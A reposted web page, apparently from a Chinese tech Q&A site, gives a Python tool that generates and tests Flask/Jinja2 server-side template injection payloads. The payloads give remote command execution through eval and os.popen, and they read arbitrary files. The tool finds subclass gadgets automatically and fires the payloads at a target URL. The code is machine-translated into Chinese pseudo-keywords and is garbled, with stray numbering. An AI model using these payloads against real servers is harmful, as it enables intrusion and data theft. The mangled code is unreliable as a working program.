抛开代码丑不谈,用起来还是挺好用滴。
登录后复制
从Flask 导入Flask,请求
从jinja2导入模板
从线程导入线程
导入请求
导入操作系统
# 写入要插入的站点和URL 参数
站点=\’http://127.0.0.1:5000/waewe?404_url=\’
# URL存储字典
url_dict={
\’打开\’:[],
\’评估\’:[],
\’__import__\’:[],
‘子进程’:[],
}
# 通用[Python2, 3] 和绕过有效负载
货币网址=[
\’通用payload_rce:\’ + site + \'{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\’catch_warnings\’ %}{{ c.__init__.__globals__[\’__builtins__\’] .eval(\\\’__import__(\’os\’).popen(\’whoami\’).read()\\\’) }}{% endif %}{% endfor %}\\n\’,
\’通用负载_读取任何文件_utf8:\’ + site + \'{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\’catch_warnings\’ %}{{ c.__init__ . \’].open(\’文件名\’, \’r\’, 编码=\’utf-8\’).read() }}{% endif %}{% endfor %}\\n\’,
\’通用负载_读取任何文件_gbk:\’ + site + \'{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\’catch_warnings\’ %}{{ c.__init__ . \’].open(\’文件名\’, \’r\’, 编码=\’gbk\’).read() }}{% endif %}{% endfor %}\\n\’
]
# Python3特定的有效负载和内置函数也可以在Python2中使用
扫描列表={
\’popen\’:(\’__init__.__globals__\’, \'[\’popen\’](\’whoami\’).read()\’),
\’eval\’:(\’__init__.__globals__[\’__builtins__\’]\’, \'[\’eval\’](\\\’__import__(\’os\’).popen(\’whoami\’).read()\\\’)\’),
\’__import__\’:(\’__init__.__globals__[\’__builtins__\’]\’, \'[\’__import__\’](\’os\’).system(\’whoami\’)\’),
\’Subprocess\’:(\’__init__.__globals__\’, \'[\’Subprocess\’].check_output(\’whoami\’, shell=True).decode(\’gbk\’)\’),
# \’Subprocess\’: (\’__init__.__globals__\’, \'[\’Subprocess\’].check_output(\’dir\’,shell=True).decode(\’utf8\’)\’),
}
差分扫描():
数量=0
对于\’\’.__class__.__base__.__subclasses__(): 中的项目
尝试:
对于scan_list: ii
if ii in eval(\’item.\’ + scan_list[ii][0]):
URL=\’%s{{{}.__class__.__base__.__subclasses__()[%s].%s%s}}\\n\’ % (
地点,
数字,
扫描列表[ii][0],
扫描列表[ii][1]
)
url_dict[ii].append(url)
数字+=1
不包括:
数字+=1
def check_active(url, desc):
使用open(\’result.txt\’, \’a\’,coding=\’utf-8\’) 作为f:
给我的url:
status_code=request.get(i).status_code
如果没有,status_code=500:
f.write(\’利用\’ + desc + \’:\’ + i)
如果__name__==\’__main__\’:
print(\’开始构建.\’)
扫描()
如果os.path.exists(\’结果.txt\’):
os.remove(\’结果.txt\’)
使用open(\’result.txt\’, \’a\’,coding=\’utf-8\’) 作为f:
对我来说,currency_url:
f.写(i)
t_列表=[]
对我来说url_dict:
t=线程(target=check_active, args=(url_dict[i], i,))
t.start()
t_list.append(t)
关于t_list: 中的t
t.join()
[1,2,3].切片(0,0)
print(\’创建完成,请检查当前路径下的result.txt文件!\’)
1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.4 4.45.46.47.48.49.50 51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83。
以上#Python+Flask SSTI注入payload自动生成的相关内容来源网络,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92570.html